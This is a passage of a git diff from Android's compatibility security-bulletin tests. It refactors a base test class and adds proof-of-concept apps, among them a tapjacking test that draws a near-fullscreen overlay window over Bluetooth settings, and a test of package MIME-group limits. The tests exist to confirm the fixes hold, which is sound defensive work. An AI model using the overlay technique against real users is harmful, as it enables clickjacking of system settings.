return sAbi.get(device); - } - - public static String getTestName(ITestDevice device) { - return sTestName.get(device); - } - - public static PocPusher getPocPusher(ITestDevice device) { - return sPocPusher.get(device); - } - - // TODO convert existing assertMatches*() to RegexUtils.assertMatches*() - // b/123237827 - @Deprecated - public void assertMatches(String pattern, String input) throws Exception { - RegexUtils.assertContains(pattern, input); - } - - @Deprecated - public void assertMatchesMultiLine(String pattern, String input) throws Exception { - RegexUtils.assertContainsMultiline(pattern, input); - } - - @Deprecated - public void assertNotMatches(String pattern, String input) throws Exception { - RegexUtils.assertNotContains(pattern, input); - } - - @Deprecated - public void assertNotMatchesMultiLine(String pattern, String input) throws Exception { - RegexUtils.assertNotContainsMultiline(pattern, input); - } - - /** - * Runs a provided function that collects a String to test against kernel pointer leaks. - * The getPtrFunction function implementation must return a String that starts with the - * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In - * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel - * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the - * normal kernel space. The test re-runs to make false positives statistically insignificant. - * When kernel pointers won't change without a reboot, provide a device to reboot. - * - * @param getPtrFunction a function that returns a string that starts with a pointer - * @param deviceToReboot device to reboot when kernel pointers won't change - */ - public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot) - throws Exception { - assumeFalse("Cannot set kptr_restrict to 2, ignoring kptr test.", ignoreKernelAddress); - String ptr = null; - for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive - ptr = getPtrFunction.call(); - if (ptr == null) { - return; - } - if (!isKptr(ptr)) { - // quit early because the ptr is likely hashed or zeroed. - return; - } - if (deviceToReboot != null) { - deviceToReboot.nonBlockingReboot(); - deviceToReboot.waitForDeviceAvailable(); - updateKernelStartTime(); - } - } - fail("\"" + ptr + "\" is an exposed kernel pointer."); - } - - private boolean isKptr(String ptr) { - Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr); - if (!m.find() || m.start() != 0) { - // ptr string is malformed - return false; - } - int length = m.end(); - - if (length == 8) { - // 32-bit pointer - BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX); - // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff - // 0x3fffffff bytes = 1GB / 0xffffffff = 4 GB - // 1 in 4 collision for hashed pointers - return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0; - } else if (length == 16) { - // 64-bit pointer - BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX); - // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff - // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision - // 56-bit implementation: 0xff80000000000000; 1 in 512 collision - // 64-bit implementation: 0x8000000000000000; 1 in 2 collision - return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0; - } - - return false; - } - - /** - * Check if a driver is present and readable. - */ - protected boolean containsDriver(ITestDevice device, String driver) throws Exception { - return containsDriver(device, driver, true); - } - - /** - * Check if a driver is present on a machine. - */ - protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable) - throws Exception { - boolean containsDriver = false; - if (driver.contains("*")) { - // -A list all files but . and .. - // -d directory, not contents - // -1 list one file per line - // -f unsorted - String ls = "ls -A -d -1 -f " + driver; - if (AdbUtils.runCommandGetExitCode(ls, device) == 0) { - String[] expanded = device.executeShellCommand(ls).split("\\R"); - for (String expandedDriver : expanded) { - containsDriver |= containsDriver(device, expandedDriver, checkReadable); - } - } - } else { - if(checkReadable) { - containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0; - } else { - containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0; - } - } - - MetricsReportLog reportLog = buildMetricsReportLog(getDevice()); - reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE); - reportLog.submit(); - - return containsDriver; - } - - protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) { - IBuildInfo buildInfo = getBuildInfo(device); - IAbi abi = getAbi(device); - String testName = getTestName(device); - - StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace(); - int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller - String className = stacktraces[stackDepth].getClassName(); - String methodName = stacktraces[stackDepth].getMethodName(); - String classMethodName = String.format("%s#%s", className, methodName); - - // The stream name must be snake_case or else json formatting breaks - String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase(); - - MetricsReportLog reportLog = new MetricsReportLog( - buildInfo, - abi.getName(), - classMethodName, - "CtsSecurityBulletinHostTestCases", - streamName, - true); - reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE); - return reportLog; - } - - private long getDeviceUptime() throws DeviceNotAvailableException { - String uptime = null; - int attempts = 5; - do { - if (attempts-- <= 0) { - throw new RuntimeException("could not get device uptime"); - } - getDevice().waitForDeviceAvailable(); - uptime = getDevice().executeShellCommand("cat /proc/uptime").trim(); - } while (uptime.isEmpty()); - return Long.parseLong(uptime.substring(0, uptime.indexOf('.'))); - } - - public void safeReboot() throws DeviceNotAvailableException { - getDevice().nonBlockingReboot(); - getDevice().waitForDeviceAvailable(); - updateKernelStartTime(); - } - - /** - * Allows a test to pass if called after a planned reboot. - */ - public void updateKernelStartTime() throws DeviceNotAvailableException { - long uptime = getDeviceUptime(); - kernelStartTime = (System.currentTimeMillis() / 1000) - uptime; - } - - /** - * Return true if a module is play managed. - * - * Example of skipping a test based on mainline modules: - * <pre> - * @Test - * public void testPocCVE_1234_5678() throws Exception { - * // This will skip the test if MODULE_METADATA mainline module is play managed. - * assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin")); - * // Do testing... - * } - * * </pre> - */ - boolean moduleIsPlayManaged(String modulePackageName) throws Exception { - return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName); - } - - public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception { - String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*", - "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*", - "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*", - "/dev/st54j*", "/dev/st21nfc*" }; - boolean isDriverFound = false; - for(String supportedDriver : supportedDrivers) { - if(containsDriver(device, supportedDriver, false)) { - isDriverFound = true; - break; - } - } - String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n"); - String nfcDevice = null; - for (String line : output) { - if(line.contains("nfc")) { - String text[] = line.split("\\s+"); - nfcDevice = text[text.length - 1]; - } - } - assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test", - isDriverFound); - } -} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java index c4d37b0ecb5..91c84d7333e 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java @@ -16,27 +16,26 @@ package android.security.cts; -import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; -import com.android.compatibility.common.util.CrashUtils; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.not; +import static org.junit.Assume.assumeFalse; +import static org.junit.Assume.assumeThat; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; -import static org.junit.Assume.*; import junit.framework.Assert; -import java.util.Arrays; -import java.util.ArrayList; -import static org.junit.Assume.*; -import static org.hamcrest.CoreMatchers.*; +import org.junit.Test; +import org.junit.runner.RunWith; -@RunWith(DeviceJUnit4ClassRunner.class) -public class TestMedia extends SecurityTestCase { +import java.util.Arrays; +@RunWith(DeviceJUnit4ClassRunner.class) +public class TestMedia extends NonRootSecurityTestCase { /****************************************************************************** * To prevent merge conflicts, add tests for N below this comment, before any diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml index 7f819bcaab4..ef3e6cdf869 100644 --- a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml @@ -17,6 +17,7 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.security.cts.BUG_182282630" android:targetSandboxVersion="2"> + <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <application android:label="@string/app_name" diff --git a/apps/MainlineModuleDetector/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp index 2cba39f6c98..d7af1caff97 100644 --- a/apps/MainlineModuleDetector/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp @@ -1,5 +1,4 @@ -// -// Copyright (C) 2019 The Android Open Source Project +// Copyright (C) 2021 The Android Open Source Project // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. @@ -12,27 +11,21 @@ // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. -// - -package { - // See: http://go/android-license-faq - default_applicable_licenses: ["Android-Apache-2.0"], -} -android_test { - name: "MainlineModuleDetector", - defaults: ["cts_defaults"], - static_libs: ["compatibility-device-util-axt"], - // Disable dexpreopt and <uses-library> check for test. - enforce_uses_libs: false, - dex_preopt: { - enabled: false, - }, +android_test_helper_app { + name: "BUG-182810085", + defaults: ["cts_support_defaults"], srcs: ["src/**/*.java"], - sdk_version: "current", test_suites: [ "cts", - "general-tests", + "vts10", "sts", ], + static_libs: [ + "androidx.appcompat_appcompat", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", } diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml new file mode 100644 index 00000000000..5777c1825ac --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml @@ -0,0 +1,48 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.BUG_182810085" + minSdkVersion="29"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application android:theme="@style/Theme.AppCompat.Light"> + <uses-library android:name="android.test.runner" /> + <service android:name=".OverlayService" + android:enabled="true" + android:exported="false" /> + + <activity + android:name=".MainActivity" + android:label="ST (Permission)" + android:exported="true" + android:taskAffinity="android.security.cts.BUG_182810085.MainActivity"> + + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.BUG_182810085" /> + +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml new file mode 100644 index 00000000000..0ac0cf489f4 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<RelativeLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:gravity="left" + tools:context=".MainActivity" > + + <LinearLayout + android:id="@+id/linearLayout1" + android:layout_width="fill_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/seekShowTimes" + android:layout_centerHorizontal="true" + android:layout_marginTop="53dp" + android:orientation="horizontal" > + + <Button + android:id="@+id/btnStart" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="Start" /> + + </LinearLayout> + +</RelativeLayout> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml new file mode 100644 index 00000000000..347c9e1dec7 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml @@ -0,0 +1,19 @@ +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> + +<resources> + <string name="tapjacking_text">BUG_182810085 overlay text</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java new file mode 100644 index 00000000000..d7b940e99eb --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java @@ -0,0 +1,25 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_182810085; + +final class Constants { + + public static final String LOG_TAG = "BUG-182810085"; + public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName(); + + public static final String ACTION_START_TAPJACKING = "BUG_182810085.start_tapjacking"; +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java new file mode 100644 index 00000000000..4dbe976cdb0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java @@ -0,0 +1,122 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_182810085; + +import static android.security.cts.BUG_182810085.Constants.LOG_TAG; + +import org.junit.Before; +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.util.Log; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertNotNull; + +/** Basic sample for unbundled UiAutomator. */ +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final long WAIT_FOR_UI_TIMEOUT = 20_000; + + private Context mContext; + private UiDevice mDevice; + + @Before + public void setUp() throws Exception { + Log.d(LOG_TAG, "startMainActivityFromHomeScreen()"); + + mContext = getApplicationContext(); + + // If the permission is not granted, the app will not be able to show an overlay dialog. + // This is required for the test below. + // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail. + assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!", + mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"), + PackageManager.PERMISSION_GRANTED); + + // Initialize UiDevice instance + mDevice = UiDevice.getInstance(getInstrumentation()); + if (!mDevice.isScreenOn()) { + mDevice.wakeUp(); + } + mDevice.pressHome(); + } + + @Test + public void testTapjacking() throws InterruptedException { + Log.d(LOG_TAG, "Starting tap-jacking test"); + + launchTestApp(); + + launchTapjackedActivity(); + + mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING)); + Log.d(LOG_TAG, "Sent intent to start tap-jacking!"); + + UiObject2 overlay = waitForView(By.text(mContext.getString(R.string.tapjacking_text))); + assertNull("Tap-jacking successful. Overlay was displayed.!", overlay); + } + + @After + public void tearDown() { + mDevice.pressHome(); + } + + private void launchTestApp() { + Intent intent = mContext.getPackageManager().getLaunchIntentForPackage( + Constants.TEST_APP_PACKAGE); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + mContext.startActivity(intent); + + // Wait for the app to appear + UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0)); + assertNotNull("test-app did not appear!", view); + Log.d(LOG_TAG, "test-app appeared"); + } + + private void launchTapjackedActivity() { + Intent intent = new Intent(); + intent.setAction("android.settings.BLUETOOTH_SETTINGS"); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK); + mContext.startActivity(intent); + + UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0)); + assertNotNull("Activity under-test was not launched or found!", activityInstance); + + Log.d(LOG_TAG, "Started Activity under-test."); + } + + private UiObject2 waitForView(BySelector selector) { + return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java new file mode 100644 index 00000000000..b31e83bddcb --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package android.security.cts.BUG_182810085; + +import static android.security.cts.BUG_182810085.Constants.LOG_TAG; + +import android.app.AlertDialog; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.util.Log; +import android.view.Gravity; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; +import android.widget.ImageView; +import android.widget.SeekBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import java.util.ArrayList; + +/** Main activity for the test-app. */ +public final class MainActivity extends AppCompatActivity { + + private final BroadcastReceiver mReceiver = new BroadcastReceiver() { + public void onReceive(Context context, Intent intent) { + startTapjacking(); + } + }; + + private Button btnStart; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + + registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING)); + + btnStart = (Button) findViewById(R.id.btnStart); + btnStart.setOnClickListener(v -> startTapjacking()); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + unregisterReceiver(mReceiver); + stopOverlayService(); + } + + public void startTapjacking() { + Log.d(LOG_TAG, "Starting tap-jacking flow."); + stopOverlayService(); + + startOverlayService(); + Log.d(LOG_TAG, "Started overlay-service."); + } + + private void startOverlayService() { + startService(new Intent(getApplicationContext(), OverlayService.class)); + } + + private void stopOverlayService() { + stopService(new Intent(getApplicationContext(), OverlayService.class)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java new file mode 100644 index 00000000000..0c62a80ca46 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java @@ -0,0 +1,95 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_182810085; + +import android.app.Service; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.Handler; +import android.os.IBinder; +import android.os.Looper; +import android.provider.Settings; +import android.util.DisplayMetrics; +import android.util.Log; +import android.view.Gravity; +import android.view.WindowManager; +import android.widget.Button; + +/** Service that starts the overlay for the test. */ +public final class OverlayService extends Service { + public Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + @Override + public void onCreate() { + Log.d(Constants.LOG_TAG, "onCreate() called"); + super.onCreate(); + + DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics(); + int scaledWidth = (int) (displayMetrics.widthPixels * 0.9); + int scaledHeight = (int) (displayMetrics.heightPixels * 0.9); + + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.CENTER; + mLayoutParams.width = scaledWidth; + mLayoutParams.height = scaledHeight; + mLayoutParams.x = scaledWidth / 2; + mLayoutParams.y = scaledHeight / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + Log.d(Constants.LOG_TAG, "onStartCommand() called"); + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + Log.d(Constants.LOG_TAG, "onDestroy() called"); + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + if (!Settings.canDrawOverlays(this)) { + Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied"); + } + + mButton = new Button(getApplicationContext()); + mButton.setText(getResources().getString(R.string.tapjacking_text)); + mButton.setTag(mButton.getVisibility()); + mWindowManager.addView(mButton, mLayoutParams); + + new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000); + Log.d(Constants.LOG_TAG, "Floating window created"); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp new file mode 100644 index 00000000000..9ac80ac1a46 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp @@ -0,0 +1,64 @@ +// Copyright (C) 2022 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "BUG-237291548", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.appcompat_appcompat", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} + +android_test_helper_app { + name: "BUG-237291548-FAIL-INSTALL", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + manifest: ":BUG-237291548-BAD-MANIFEST", + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.appcompat_appcompat", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} + +// Modify the manifest file to include more than 500 MIME groups. The resulting +// test apk generated using this manifest should fail package install since the +// number of MIME groups is limited to a maximum of 500 per package. +genrule { + name: "BUG-237291548-BAD-MANIFEST", + srcs: ["AndroidManifest.xml"], + out: ["BadAndroidManifest.xml"], + cmd: "awk '/myMimeGroup/{print;for(i=0;i<501;i++){sub(/myMimeGroup[0-9]*/,\"myMimeGroup\"i);print}}1' $(in) > $(out)", +}
\ No newline at end of file diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml new file mode 100644 index 00000000000..cc692b86011 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml @@ -0,0 +1,39 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.BUG_237291548" + android:targetSandboxVersion="2"> + + <application> + <uses-library android:name="android.test.runner" /> + <activity + android:name=".MainActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + <data android:mimeGroup="myMimeGroup" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.BUG_237291548" /> + +</manifest>
\ No newline at end of file diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java new file mode 100644 index 00000000000..e4554aa86b6 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java @@ -0,0 +1,60 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_237291548; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; + +import static org.junit.Assert.assertEquals; + +import android.content.pm.PackageManager; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.HashSet; +import java.util.Set; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final String MIME_GROUP = "myMimeGroup"; + + PackageManager mPm = getApplicationContext().getPackageManager(); + + @Test(expected = IllegalStateException.class) + public void testExceedGroupLimit() { + Set<String> mimeTypes = mPm.getMimeGroup(MIME_GROUP); + assertEquals(mimeTypes.size(), 0); + for (int i = 0; i < 500; i++) { + mimeTypes.add("MIME" + i); + mPm.setMimeGroup(MIME_GROUP, mimeTypes); + } + mimeTypes = mPm.getMimeGroup(MIME_GROUP); + assertEquals(500, mimeTypes.size()); + mimeTypes.add("ONETOMANYMIME"); + mPm.setMimeGroup(MIME_GROUP, mimeTypes); + } + + @Test(expected = IllegalArgumentException.class) + public void testExceedMimeLengthLimit() { + Set<String> mimeTypes = new HashSet<>(); + mimeTypes.add(new String(new char[64]).replace("\0", "MIME")); + mPm.setMimeGroup(MIME_GROUP, mimeTypes); + } +} diff --git 